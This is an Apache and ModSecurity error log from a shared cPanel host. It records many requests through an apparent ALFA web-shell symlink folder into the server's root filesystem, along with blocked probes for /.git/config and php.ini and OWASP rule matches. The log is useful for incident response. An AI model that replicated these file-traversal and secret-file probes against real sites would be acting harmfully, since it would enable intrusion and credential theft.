[Sat Oct 24 05:41:50.260241 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.214.176.44:49578] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:41:54.135242 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 98.84.60.17:49207] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:41:58.146151 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 54.85.126.86:48060] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:42:02.135590 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.225.199.17:53680] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:42:06.129552 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 44.212.145.46:27302] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:42:21.624656 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 85.208.96.209:64158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inet_peer_cache/total_objects
[Sat Oct 24 05:42:26.135265 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 98.84.70.201:9217] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:42:30.128192 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.221.37.41:32195] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:42:30.128666 2026] [security2:error] [pid 2603807:tid 2603807] [client 44.221.37.41:32195] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:15/power/control"] [unique_id "atx9ho3tkuH7XT-LVCb7qwAAAAE"]
[Sat Oct 24 05:42:30.128695 2026] [security2:error] [pid 2603807:tid 2603807] [client 44.221.37.41:32195] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:15/power/control"] [unique_id "atx9ho3tkuH7XT-LVCb7qwAAAAE"]
[Sat Oct 24 05:42:38.147799 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 44.217.255.167:25228] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:42:42.128193 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 23.23.213.182:25123] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:42:43.933438 2026] [authz_core:error] [pid 2608663:tid 2608663] [client 77.90.185.5:57635] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com/
[Sat Oct 24 05:42:46.140445 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 52.5.242.243:23205] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/mouse0/subsystem/input5/device/driver/module/drivers/platform:pcspkr/unbind
[Sat Oct 24 05:42:50.136349 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 34.192.67.98:40878] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:42:54.161093 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 85.208.96.201:39040] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-192/alloc_calls
[Sat Oct 24 05:43:15.339538 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 44.212.232.231:43440] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:0e/eject
[Sat Oct 24 05:43:42.143354 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.94.199.128:46783] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:43:43.732682 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 185.191.171.17:17488] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:43:45.965387 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.4:20658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/objects
[Sat Oct 24 05:44:10.290904 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.229.2.217:17828] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:44:12.542485 2026] [authz_core:error] [pid 2607845:tid 2607845] [client 64.227.3.201:43626] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 05:44:12.572480 2026] [authz_core:error] [pid 2608663:tid 2608663] [client 64.227.3.201:41524] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 05:44:13.378912 2026] [security2:error] [pid 2608810:tid 2608810] [client 150.109.230.210:44640] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas2.com/"] [unique_id "atx97aVWPMRLkHgZYZD5lQAAABU"]
[Sat Oct 24 05:44:13.380379 2026] [authz_core:error] [pid 2608810:tid 2608810] [client 150.109.230.210:44640] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Sat Oct 24 05:44:18.259452 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 34.231.77.232:65073] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/mouse0/subsystem/input5/device/driver/module/drivers/platform:pcspkr/uevent
[Sat Oct 24 05:44:22.294910 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.210.223.61:25981] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:44:26.502517 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 107.20.224.184:21410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/piix4_smbus/new_id
[Sat Oct 24 05:44:30.308783 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.210.223.61:62875] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:44:34.302382 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 184.73.195.18:33759] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/firmware_node/subsystem/drivers/button/bind
[Sat Oct 24 05:44:46.222325 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.82.63.147:29776] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:44:54.240403 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 44.193.102.198:9224] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:44:58.325506 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 34.233.114.237:48978] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:45:02.292291 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.157.99.244:35802] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:45:04.474244 2026] [security2:error] [pid 2608810:tid 2608810] [client 185.191.171.14:22236] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python2.7/encodings/charmap.pyc"] [unique_id "atx-IKVWPMRLkHgZYZD5lwAAABU"]
[Sat Oct 24 05:45:04.474307 2026] [security2:error] [pid 2608810:tid 2608810] [client 185.191.171.14:22236] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python2.7/encodings/charmap.pyc"] [unique_id "atx-IKVWPMRLkHgZYZD5lwAAABU"]
[Sat Oct 24 05:45:18.489995 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.221.244.28:33759] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:45:26.382940 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 44.210.204.255:33940] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:45:34.310187 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 23.21.148.226:57687] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:45:34.310360 2026] [security2:error] [pid 2607843:tid 2607843] [client 23.21.148.226:57687] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/power/runtime_status"] [unique_id "atx-PgSwRuPA-FjBma7HowAAAAI"]
[Sat Oct 24 05:45:34.310393 2026] [security2:error] [pid 2607843:tid 2607843] [client 23.21.148.226:57687] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/power/runtime_status"] [unique_id "atx-PgSwRuPA-FjBma7HowAAAAI"]
[Sat Oct 24 05:45:38.252059 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 107.20.25.33:14844] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:45:46.787460 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 107.23.62.75:58696] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:45:54.496450 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.227.156.153:5259] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:45:58.340888 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 34.224.9.144:14614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXPWRBN:00/wakeup/wakeup8/device/subsystem/drivers/thermal/unbind
[Sat Oct 24 05:46:02.379397 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.205.170.13:38607] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:46:06.264708 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.233.219.155:48960] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:46:10.894674 2026] [ssl:error] [pid 2603807:tid 2603807] (22)Invalid argument: [client 52.44.174.136:21189] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:46:26.359216 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.94.157.25:44640] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:46:30.424291 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 98.83.177.42:56013] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:46:35.386843 2026] [security2:error] [pid 2608798:tid 2608798] [client 35.237.81.236:20710] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atx-e7X1SaR9hxmEXognfgAAAAo"]
[Sat Oct 24 05:46:35.387165 2026] [security2:error] [pid 2608798:tid 2608798] [client 35.237.81.236:20710] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atx-e7X1SaR9hxmEXognfgAAAAo"]
[Sat Oct 24 05:46:35.387444 2026] [security2:error] [pid 2608798:tid 2608798] [client 35.237.81.236:20710] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atx-e7X1SaR9hxmEXognfgAAAAo"]
[Sat Oct 24 05:46:35.387768 2026] [security2:error] [pid 2608798:tid 2608798] [client 35.237.81.236:20710] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atx-e7X1SaR9hxmEXognfgAAAAo"]
[Sat Oct 24 05:46:40.425900 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 3.229.2.217:5641] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory7/node0/cpu1/node0/memory7/subsystem/uevent
[Sat Oct 24 05:47:06.516961 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 34.196.114.170:18623] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:47:06.738705 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 85.208.96.195:16326] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/objects_partial
[Sat Oct 24 05:47:18.350476 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.73.6.26:18667] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:47:27.713434 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.212.131.50:25739] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:47:38.377144 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 54.156.55.147:36130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:05.0/subsystem/slots/14/module/uevent
[Sat Oct 24 05:47:46.363277 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.23.112.144:47400] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:47:54.298222 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.227.180.70:24573] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:47:58.313786 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 35.174.141.243:25928] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:48:06.324831 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 44.209.35.147:31748] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:48:10.625031 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.231.118.144:37142] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:48:14.372559 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 23.21.175.228:32929] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:48:22.516674 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 52.203.152.231:44825] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:48:26.374510 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 52.205.222.214:11613] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/driver/0000:00:03.0/rescan
[Sat Oct 24 05:48:30.328120 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 52.7.33.248:47991] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:48:31.699949 2026] [authz_core:error] [pid 2608810:tid 2608810] [client 45.198.224.125:40234] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 05:48:34.303166 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.225.9.97:30275] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:48:38.450918 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.0.41.164:39357] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:49:02.490051 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 52.54.157.23:55734] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:49:05.689240 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.23.185.185:21680] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/.git/config"] [unique_id "atx_EXUcfBNBYE9xHAI_hAAAAAA"]
[Sat Oct 24 05:49:05.689289 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.23.185.185:21680] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/.git/config"] [unique_id "atx_EXUcfBNBYE9xHAI_hAAAAAA"]
[Sat Oct 24 05:49:06.333339 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 44.205.74.196:13267] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:49:10.359332 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.80.185.200:50244] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:49:14.326625 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.208.223.68:48822] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:49:18.324005 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.81.253.213:19059] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:49:22.350157 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 3.89.170.186:32773] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:49:30.527622 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.204.12.115:55411] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:49:31.383679 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.16:48518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-256/cache_dma
[Sat Oct 24 05:49:34.575647 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.235.172.96:41488] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:49:42.436759 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.164.106.236:56863] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:49:50.345229 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 52.44.229.124:32214] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:49:54.370299 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 18.232.36.1:37854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:15/eject
[Sat Oct 24 05:49:58.900194 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.147.238.89:44003] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:50:02.354916 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.93.98.99:58956] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:50:06.352461 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.215.221.125:13531] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:50:10.796824 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 34.234.200.207:50567] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input3/device/drvctl
[Sat Oct 24 05:50:14.573673 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 44.213.202.136:40410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/ata2/host1/subsystem/uevent
[Sat Oct 24 05:50:18.358506 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 100.25.120.246:1877] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:50:23.394893 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 54.147.238.89:18494] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:50:26.512042 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 34.227.156.153:18748] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:50:29.452049 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 85.208.96.205:18846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCP/min_partial
[Sat Oct 24 05:50:30.465745 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.221.222.168:23877] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:50:34.530364 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 184.73.239.35:46479] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:50:38.488799 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 184.73.47.24:44833] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:50:42.402117 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 44.217.255.167:52652] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:50:47.405146 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.86.59.155:33550] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:50:50.530780 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.209.187.99:48336] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:50:54.400860 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 98.82.63.147:59009] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/iosf_mbi_pci/bind
[Sat Oct 24 05:50:56.854841 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 85.208.96.203:27130] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:51:02.399918 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.71.203.206:53310] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:51:06.401447 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.227.180.70:61993] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:51:14.382006 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.89.170.186:49704] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:51:22.121927 2026] [core:crit] [pid 2608663:tid 2608663] (13)Permission denied: [client 45.79.181.164:32900] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 05:51:22.576175 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.82.107.102:26246] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:51:30.372072 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 54.235.191.179:45303] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:51:38.517287 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 98.82.40.168:56051] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:51:46.377021 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 52.4.229.9:25059] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:51:50.606687 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 98.84.200.43:56345] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:51:58.515267 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.1.157.90:43793] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:51:58.617016 2026] [security2:error] [pid 2608798:tid 2608798] [client 85.208.96.203:26622] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/i18n/locales/fr_LU"] [unique_id "atx_vrX1SaR9hxmEXogniwAAAAo"]
[Sat Oct 24 05:51:58.617079 2026] [security2:error] [pid 2608798:tid 2608798] [client 85.208.96.203:26622] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/i18n/locales/fr_LU"] [unique_id "atx_vrX1SaR9hxmEXogniwAAAAo"]
[Sat Oct 24 05:52:13.569643 2026] [security2:error] [pid 2607843:tid 2607843] [client 170.106.187.106:35058] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "atx_zQSwRuPA-FjBma7HswAAAAI"]
